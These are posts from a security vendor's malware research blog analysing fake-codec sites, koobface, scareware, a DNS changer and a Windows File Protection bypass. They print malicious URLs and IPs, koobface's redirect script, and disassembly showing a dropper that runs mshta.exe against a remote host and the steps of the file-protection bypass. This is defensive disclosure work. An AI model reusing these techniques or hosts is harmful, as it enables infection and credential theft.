SEO Poisoning scores a goal at the 2010 Winter Olympics

Blog entry here

Porntube Anyone? Bonus Scareware!

Blog entry here

Fake codec used by porn site

Here’s another porn site distributing malware under the guise of video codecs:

hxxp://adultsvideo.cn/

Unsuspecting users wanting to view the adult videos are tricked into downloading and installing the fake codec.

The fake codec can be downloaded from this url:

hxxp://freebigutilites.com/ActiveX-Video-Codec.45092.exe

The server spits out files that have different MD5s each time.

ThreatExpert report here

PC Tools Spyware Doctor with Antivirus detects this fake codec as Trojan.FakeAlert.

Update:

Here’s another site that purports to host “Free Full Lenght Movie” porn clips and uses fake video codecs in order to lure unsuspecting users into downloading and installing their rogue antivirus software:

hxxp://freeanalsextubemovies.com/video1483/porn/

Clicking anywhere on the video screen area gives us the following link to a file named video.exe:

hxxp://homeamateurclips.com/video/video.exe

The award-winning PC Tools Spyware Doctor with Antivirus blocks this fake software as RogueAntiSpyware.SecurityTool.

Bogus MS Update

The analysts at the PC Tools Malware Research Centre have been receiving bogus emails claiming to be coming from Microsoft:

…public distribution of this Update through the official website »www.microsoft.com would have result in efficient creation of a malicious software, we made a decision to issue an experimental private version of an update for all users Microsoft Windows OS.
as the computer set to receive notifications when new updates are available, which you have received this notice.

We have seen emails containing one of the following links:
hxxp://www2.sinel.com/microsoftupdate.html
hxxp://mail1.e-corecorporation.com/default.htm

They seem to be compromized websites being used by the bad guys in order to facilitate this attack.

The page default.html from hxxp://mail1.e-corecorporation.com/default.htm uses a refresh-type redirect to this url:
hxxp://0xc0.0xdc.0x6e.0xe4/microsoftupdate.html

The page microsoftupdate.html from sinel.com and 0xc0.0xdc.0x6e.0xe4 both execute another refresh-type redirect in order to download a file named update09.exe, which PC Tools Spyware Doctor with Antivirus detects as Trojan-Spy.Zbot.YETH.

Interestingly enough, this attack uses 0xc0.0xdc.0x6e.0xe4 to serve the malware. This IP-address translates to 192.220.110.228, which in turn resolves to summit102.summitdesign.net, another possibly compromised website used in this attack.

The presence of the following files/folders may indicate signs of infection:
%System%\sdra64.exe
%Temp%\tmp.exe
%System%\lowsec\

More here.

Koobface on the Move, Serving Scareware

The PC Tools Malware Research Centre has been seeing new movement on the koobface front Lately.

As koobface-serving domains are being taken down as early as the good guys discover them, the bad guys are at it and they respond by registering new ones. At the moment, their, C&C server is hosted in China with IP Address 61.235.117.83.

The bad guys are still using a fake facebook website, as well as posing as a fake codec, in order to distribute koobface.

Clicking anywhere on the page, presents us with a file named setup.exe. Here are some of the IPs being used to distribute koobface:

115.130.27.204
123.202.200.84
151.204.31.67
196.206.65.53
221.126.0.105
24.215.207.229
41.238.76.198
61.93.34.23
67.206.253.52
68.47.48.240
69.18.107.115
69.254.215.173
70.122.242.250
70.212.232.126
71.116.37.213
71.130.216.179
71.194.236.32
71.80.105.40
72.13.138.210
72.190.87.208
75.181.171.110
75.251.94.44
76.119.98.22
76.22.160.28
76.23.203.64
81.192.192.160
98.140.58.163
98.244.224.140
98.26.40.38
99.22.74.229

The javascript component being by used by koobface, remains bascically the same as before

And as before, koobface is still serving up scareware. From time to time, users are presented with a My Computer online scan, going through these domains:

gotrioscan(dot)com
plazec(dot)info

At some instances, we also get these warnings:

At the moment, these warnings are serving Internet Antivirus Pro.

In order to be protected against these attacks, users of PC Tools Spyware Doctor are advised to use the latest PC Tools update.

An earlier post about koobface can be found here.

Update:
Koobface has been going at it and here’s another one that spoofs youtube and serves koobface malware as a fake codec:

hxxp://71.197.170.226/d=www.marcellaburnard.com/0x3E8/view/console=yes/?go

Scareware asking for ransome: RogueAntiSpyware.System Security

Scareware is BIG business. They use heaps of scare tactics in order to convince unsuspecting users into buying rogue applications. But here’s one that does a bit more than just scaring.

RogueAntiSpyware.System Security terminates almost all running processes. This basically prevents us from using our computers. More importantly, this hinders execution of tools necessary to investigate the infection and aid in removal of this rogue app.

Back in the day, in order to evade detection and removal, malware writers have targeted security-related applications. They have a black list of applications including (but not limited to) the following:

avast.exe
avp.exe
cmd.exe
icesword.exe
kav.exe
regedit.exe
taskmgr.exe

But now they block even the most harmless Windows applications such as calc.exe and notepad.exe. But not all applications should be terminated, because that basically means no Windows. No Windows means no profit so the bad guys need basic Windows functionality. Which tells us that they have probably stopped using blacklisting and shifted to whitelisting instead. They now have a list of applications that they would allow to be executed in the system.

Here’s part of some disassembly taken from a sample of RogueAntiSpyware.System Security, showing us evidence of whitelisting:

Rogue app takes a snapshot of all the processes in the system:

.rsrc:140B4B4F push edi
.rsrc:140B4B50 push 2
.rsrc:140B4B52 call CreateToolhelp32Snapshot
.rsrc:140B4B57 mov [ebp+hObject], eax
...
.rsrc:140B4B79 push ecx
.rsrc:140B4B7A push eax
.rsrc:140B4B7B mov [ebp+var_64C], 22Ch
.rsrc:140B4B85 call Process32FirstW
...
.rsrc:140B4BAB push [ebp+dwProcessId] ; dwProcessId
.rsrc:140B4BB1 push 0 ; bInheritHandle
.rsrc:140B4BB3 push 1FFFFFh ; dwDesiredAccess
.rsrc:140B4BB8 call ds:OpenProcess

It then terminates the processes not found in the white list:
.rsrc:140B4C00 push 0FFFFFFFFh ; uExitCode
.rsrc:140B4C02 push edi ; hProcess
.rsrc:140B4C03 call ebx ; TerminateProcess

and displays this message as a notification in the system tray:
.rsrc:14039998 aApplicationCan: ; DATA XREF: sub_140B4ADD+16A
.rsrc:14039998 unicode 0,
.rsrc:14039998 unicode 0,
.rsrc:14039998 dw 0Ah
.rsrc:14039998 unicode 0, ,0
.rsrc:14039A5E align 10h
.rsrc:14039A60 aWarning: ; DATA XREF: .rsrc:140104BF
.rsrc:14039A60 ; sub_140B4ADD+1DB ...
.rsrc:14039A60 unicode 0, ,0
.rsrc:14039A72 align 4

It then resumes processing the snapshot created earlier and the cycle continues:
.rsrc:140B4CDF lea eax, [ebp+var_64C]
.rsrc:140B4CE5 push eax
.rsrc:140B4CE6 push [ebp+hObject]
.rsrc:140B4CEC call Process32NextW

Here’s the list of applications that the scareware allows:
.rsrc:14046A48 off_14046A48 dd offset aAlg_exe ; DATA XREF: sub_140B49CF+26
.rsrc:14046A48 ; "alg.exe"
.rsrc:14046A4C dd offset aCsrss_exe ; "csrss.exe"
.rsrc:14046A50 dd offset aCtfmon_exe ; "ctfmon.exe"
.rsrc:14046A54 dd offset aExplorer_exe ; "explorer.exe"
.rsrc:14046A58 dd offset aServices_exe ; "services.exe"
.rsrc:14046A5C dd offset aSlsvc_exe ; "slsvc.exe"
.rsrc:14046A60 dd offset aSmss_exe ; "smss.exe"
.rsrc:14046A64 dd offset aSpoolsv_exe ; "spoolsv.exe"
.rsrc:14046A68 dd offset aSvchost_exe ; "svchost.exe"
.rsrc:14046A6C dd offset aSystem ; "system"
.rsrc:14046A70 dd offset aIexplore_exe ; "iexplore.exe"
.rsrc:14046A74 dd offset aLsass_exe ; "lsass.exe"
.rsrc:14046A78 dd offset aLsm_exe ; "lsm.exe"
.rsrc:14046A7C dd offset aNvsvc_exe ; "nvsvc.exe"
.rsrc:14046A80 dd offset aWininit_exe ; "wininit.exe"
.rsrc:14046A84 dd offset aWinlogon_exe ; "winlogon.exe"
.rsrc:14046A88 dd offset aWscntfy_exe ; "wscntfy.exe"
.rsrc:14046A8C dd offset aWuauclt_exe ; "wuauclt.exe"

As we can see, RogueAntiSpyware.System Security is more than just scareware. You won’t be able to properly use your computer unless you buy the rogue app. Sounds more like ransomeware to me.

But, now that we know that it uses whitelisting, we can do a little work around and bypass this technique. We can rename a copy of the tools that we need to run as one of the whitelisted applications and voila! We’ve already taken one step into regaining full use of our infected computer.

We have previously discussed RogueAntiSpyware.System Security being linked to Net-Worm.Koobface and a fake Facebook website at an earlier post.

PC Tools Spyware Doctor with Antivirus detects and removes RogueAntiSpyware.System Security.

Eric Dane threesome video links used to serve DNS Changer malware

A recently leaked threesome sex tape, involving Grey’s Anatomy’s “McSteamy” Eric Dane and wife Rebecca Gayheart, has been circulating around the internet. And we all know that controversial stuff like these are often taken advantage of and used to distribute malware using techniques such as social engineering and SEO (search-engine optimization). Users of one particular website have been spotted to be talking about the sex tape. There was no video on the site itself so people wanting to see the video might be enticed to clicking the links posted by fraudulent users and are tricked into downloading and installing malware on their computers.

There’s one such post suggesting we go to hentaiplace.org to watch the leaked video:

Here the malware poses as a fake video codec Divxcoder that users need to install in order to watch the video.
hxxp://hentaiplace.org/play.php?id=Eric_Dane_and_Rebecca_Gayheart_sex_tape

Following the download link hxxp://hentaiplace.org/promo.php, we are redirected to hxxp://fiopolosa.com/download/7933547766773d3dd846130c20090815/FlashCodecPlugin.exe

The malware presents the user with a License Agreement while doing its dubious deeds in the background. And you don’t even need to agree to the License Agreent to install the malware!

The malware changes the affected computer’s DNS settings to use the following IP Addresses as DNS servers:
85.255.112.80
85.255.112.168

This means that the affected computer’s will have to contact these IPs for name resolution and this gives the bad guys a really good opportunity to redirect users to fake websites and steal passwords, login details and other confidential information.

PCTools Spyware Doctor detects the malware as Trojan.DNS_Changer.

This malware employs Rootkit.TDSS and Trojan.TDSServ in order to hide its presence on the infected machine.

Facebook: Rogue AV Farm?

There has been enormous movement related to koobface lately and it has been mostly driven by social networking websites such as Facebook, Tagged, Myspace, Twitter, and many others.

One social networking website that probably tops the list of sites used as attack vectors is Facebook.

Here’s a screenshot of a spoofed Facebook website:

We are presented by a fake codec alert and unsuspecting users usually download and install a malware aptly detected by PC Tools Spyware Doctor as Net-Worm.Koobface.

We have seen koobface being hosted on kukuruku-290709(dot)com, but thanks to the all good guys out there this site has been taken down. But the bad guys have responded and are now using legitimate domains and redirections to serve koobface. We have seen a small patch of code on websites used in the redirection:

wrttnsvqnayay qrqgtlzac
script src ="4fc . js" // edited
qsmypwqmoj bbaspbrq

The strings are random, and so are the names of the javascript files being executed.

Here’s what the javascript file has to offer:

// KROTEG
var abc1 = 'http://kukuruku-290709.com/go/';
var abc2 = 'http://kukuruku-290709.com/go/';
var ss = '' + location.search;
if ((location.search).length>0) abc = abc1; else abc = abc2;
var redirects = [
['facebook.com', abc+'fb.php'],
['tagged.com', abc+'tg.php'],
['friendster.com',abc+'fr.php'],
['myspace.com', abc+'ms.php'],
['msplinks.com', abc+'ms.php'],
['myyearbook.com',abc+'yb.php'],
['fubar.com', abc+'fu.php'],
['twitter.com', abc+'tw.php'],
['hi5.com', abc+'hi5.php'],
['bebo.com', abc+'be.php']
];
var s = '' + document.referrer, r = false;
for (var i = 0; i 0) redir=redir+'&domain='+location.host; else redir=redir+'?domain='+location.host;
location.href = redir;
r = true;
break;
}
}
if (!r) location.href = abc+'index.php'+ location.search;

Since the domain kukuruku-290709(dot)com has been brought down already, we’ll soon most likely see new ones emerge to host koobface.

One of the payloads of koobface is downloading other malware, and currently it is serving Rogue AVs including one that PC Tools Spyware Doctor detects as RogueAntiSpyware.System Security.

We’ve talked about RogueAntiSpyware.System Security in a previous post.

A few weeks prior to today, there has been a lot of buzz about Facebook’s Farm Town app serving up Rogue AVs. And recently Facebook is once-again associated with Rogue AVs. Clearly, the bad guys behind these attacks are tyring to make quick bucks by promoting scareware. And of course by using techniques such as Social Engineering , malware and scareware spread rather quickly and easily, because attackers can hide behind the names of even the people we trust.

Take extreme care when viewing emails, tweets, comments or posts. Even if they came from people we know.

Malware foils Windows File Protection

I came across a malware that replaces %system%\comres.dll which in turn runs the malware each time this module library is run.

This file is actually protected by the Windows File Protection feature which is introduced in Windows 2000 here

According to this microsoft article

Windows File Protection (WFP) prevents programs from replacing critical Windows system files. Programs must not overwrite these files because they are used by the operating system and by other programs. Protecting these files prevents problems with programs and the operating system.

In this post, we’ll be looking at how a malware bypasses the Windows File Protection feature in order to replace the critical system file %system%\comres.dll with a copy of the malware.

The malware first disables the Windows File Protection feature (yes, it can be disabled!):


PUSH 0 ; /IsShown = 0
PUSH Avidm_dl.00BBAB7C ; |DefDir = ""
PUSH Avidm_dl.00AC54D8 ; |Parameters = "/REVERT"
PUSH EAX ; |C:\WINDOWS\system32\sfc.exe
PUSH Avidm_dl.00AC54D0 ; |Operation = "open"
PUSH 0 ; |hWnd = NULL
CALL DWORD PTR DS:[; \ShellExecuteA
...
PUSH ECX ; /pHandle
PUSH 0F003F ; |Access = KEY_ALL_ACCESS
PUSH 0 ; |Reserved = 0
PUSH Avidm_dl.00AC5498 ; |Subkey = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
PUSH 80000002 ; |hKey = HKEY_LOCAL_MACHINE
CALL DWORD PTR DS:[; \RegOpenKeyExA
MOV EAX,DWORD PTR SS:[ESP+10]
LEA EDX,DWORD PTR SS:[ESP+14]
PUSH 4 ; /BufSize = 4
PUSH EDX ; |0xffffff9d
PUSH 4 ; |ValueType = REG_DWORD
PUSH 0 ; |Reserved = 0
PUSH Avidm_dl.00AC548C ; |ValueName = "SfcDisable"
PUSH EAX ; |hKey
MOV DWORD PTR SS:[ESP+2C],-63 ; |
CALL DWORD PTR DS:[; \RegSetValueExA
MOV ECX,DWORD PTR SS:[ESP+10]
PUSH ECX ; /hKey
CALL DWORD PTR DS:[; \RegCloseKey


The malware then saves a copy of %system%\sfc_os.dll as %system%\sfc_my.dll:


PUSH 1 ; /FailIfExists = TRUE
REPNE SCAS BYTE PTR ES:[EDI] ; |
MOV ECX,EBP ; |
DEC EDI ; |
SHR ECX,2 ; |
REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; |
MOV ECX,EBP ; |
LEA EAX,DWORD PTR SS:[ESP+120] ; |
AND ECX,3 ; |
PUSH EAX ; |new filename: C:\WINDOWS\system32\sfc_my.dll
REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] ; |
LEA ECX,DWORD PTR SS:[ESP+228] ; |
PUSH ECX ; |existing filename: C:\WINDOWS\system32\sfc_os.dll
CALL DWORD PTR DS:[] ; \CopyFileA


It then loads the newly-copied file to get the address of an exported API via Ordinal #5, an undocumented API SetSfcFileException to disable Windows File Protection for %system%\comres.dll, Windows COM services:


PUSH EDX ; /C:\WINDOWS\system32\sfc_my.dll
CALL DWORD PTR DS:[] ; \LoadLibraryA
PUSH 5 ; /ProcNameOrOrdinal = #5
PUSH EAX ; |hModule
CALL DWORD PTR DS:[] ; \GetProcAddress
...
PUSH EDX ; c:\windows\system32\comres.dll
PUSH 0
CALL EBP ; sfc_my.#5


The malware then saves the original comres.dll as comresdk.dll, removes comres.dll in %dllcache%, and it is now ready to use the name comres.dll in %system%:


PUSH EDX ; /newname: comresdk.dll
PUSH EAX ; |oldname: comres.dll
CALL ; \rename
...
PUSH EDX ; /path=C:\WINDOWS\system32\dllcache\comres.dll
CALL ; \remove
...
PUSH 1 ; /FailIfExists = TRUE
PUSH EAX ; |NewFilename: C:\WINDOWS\system32\comres.dll
PUSH ECX ; |ExistingFilename:
CALL DWORD PTR DS:[>; \CopyFileA


There we have it folks, the malware foiled the Windows System File Protection feature using perfectly legitimate and readily available methods.

Digital clutter

In relation to a previous post, visting the malicious domain

hxxp://zusojbktvo.cn/fin.php

leads us into downloading

hxxp://woqyymmptn.cn/setup/setup.exe

This malware in turn runs the Microsoft HTML Application host (mshta.exe) to execute hxxp://enjnzdfmts.cn/33t.php

00400256 >/$ 6A 00 PUSH 0 ; /IsShown = 0
00400258 |. 6A 00 PUSH 0 ; |DefDir = NULL
0040025A |. 68 39024000 PUSH setup.00400239 ; |Parameters = "http://enjnzdfmts.cn/33t.php"
0040025F |. 68 2F024000 PUSH setup.0040022F ; |FileName = "mshta.exe"
00400264 |. 6A 00 PUSH 0 ; |Operation = NULL
00400266 |. 6A 00 PUSH 0 ; |hWnd = NULL
00400268 |. E8 81010000 CALL ; \ShellExecuteA

The url hxxp://enjnzdfmts.cn/33t.php gives us a page with an obfuscated javascript:

Which translates to:

The script basically creates and executes files in an attempt to download and install more malware on the affected machine. In the process, it creates a ftp connection to woqyymmptn.cn with the following cretentials:


username: qqq
password: 123456


It also creates a batch file that creates numerous Scheduled Tasks that run mshta.exe to execute hxxp://woqyymmptn.cn/33t.php which basically does the same thing as the above script.

hxxp://12-2005-search.com/cool.exe is then downloaded and executed as %Temp%\675.exe. The download link, however, is no longer active.


004002CD . 68 90000000 PUSH 90
004002D2 . 891C24 MOV DWORD PTR SS:[ESP],EBX
004002D5 . 68 90000000 PUSH 90
004002DA . C70424 0401000>MOV DWORD PTR SS:[ESP],104
004002E1 . 68 D0034000 PUSH
004002E6 . 58 POP EAX
004002E7 . E8 00000000 CALL setup.004002EC
004002EC $ 830424 06 ADD DWORD PTR SS:[ESP],6
004002F0 . FFE0 JMP EAX ;
004002F2 E8 DB E8
004002F3 01 DB 01
004002F4 00 DB 00
004002F5 00 DB 00
004002F6 . 0008 ADD BYTE PTR DS:[EAX],CL
004002F8 . 5D POP EBP
004002F9 . 33C9 XOR ECX,ECX
004002FB . 8A4D 00 MOV CL,BYTE PTR SS:[EBP]
004002FE . 8BFB MOV EDI,EBX
00400300 . 03F8 ADD EDI,EAX
00400302 . BE 08024000 MOV ESI,setup.00400208 ; ASCII "675.exe"
00400307 . F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
00400309 . 51 PUSH ECX
0040030A . 51 PUSH ECX
0040030B . 53 PUSH EBX
0040030C . E8 23000000 CALL setup.00400334
00400311 . 68 74 74 70 3A>ASCII "http://"
00400318 . 31 32 2D 32 30>ASCII "12-2005-search.c"
00400328 . 6F 6D 2F 63 6F>ASCII "om/cool.exe",0
00400334 $ 51 PUSH ECX
00400335 . 68 E2034000 PUSH
0040033A . 58 POP EAX
0040033B . E8 00000000 CALL setup.00400340
00400340 $ 830424 06 ADD DWORD PTR SS:[ESP],6
00400344 . FFE0 JMP EAX
00400346 . 51 PUSH ECX
00400347 . 53 PUSH EBX
00400348 . 68 DC034000 PUSH
0040034D . 58 POP EAX
0040034E . E8 00000000 CALL setup.00400353
00400353 $ 830424 06 ADD DWORD PTR SS:[ESP],6
00400357 . FFE0 JMP EAX


The malware uses random filenames as we can see from the filenames used in the embedded script above. These are possibly ramdonly-generated by the PHP code behind it.

In effect, the malware creates heaps of batch files, text files, blank .exe files (unavailable download), and .job files on the affected system. Talk about heavy digital clutter!